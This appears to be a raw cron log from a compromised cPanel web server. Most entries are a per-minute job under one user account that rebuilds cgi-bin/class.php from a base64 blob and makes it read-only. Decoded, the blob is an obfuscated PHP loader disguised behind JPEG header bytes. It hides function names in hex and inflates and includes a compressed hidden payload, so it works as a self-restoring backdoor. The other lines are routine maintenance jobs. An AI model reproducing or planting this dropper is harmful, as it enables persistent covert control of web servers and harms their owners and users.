Nov 15 11:08:01 server CROND[30633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:09:01 server CROND[30915]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:09:01 server CROND[30916]: (root) CMD (/usr/sbin/csf -u)
Nov 15 11:09:01 server CROND[30917]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 11:10:01 server CROND[31212]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 11:10:01 server CROND[31213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:10:01 server CROND[31214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:10:01 server CROND[31215]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:11:01 server CROND[31703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:12:01 server CROND[32054]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 11:12:01 server CROND[32053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:13:01 server CROND[32354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:14:01 server CROND[32644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:15:01 server CROND[465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:15:01 server CROND[466]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 11:15:01 server CROND[467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:16:01 server CROND[791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:17:01 server CROND[1058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:18:01 server CROND[1322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:19:01 server CROND[1694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:20:01 server CROND[1983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 11:20:01 server CROND[1984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 11:20:01 server CROND[1985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 11:20:01 server CROND[1987]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 11:20:01 server CROND[1986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
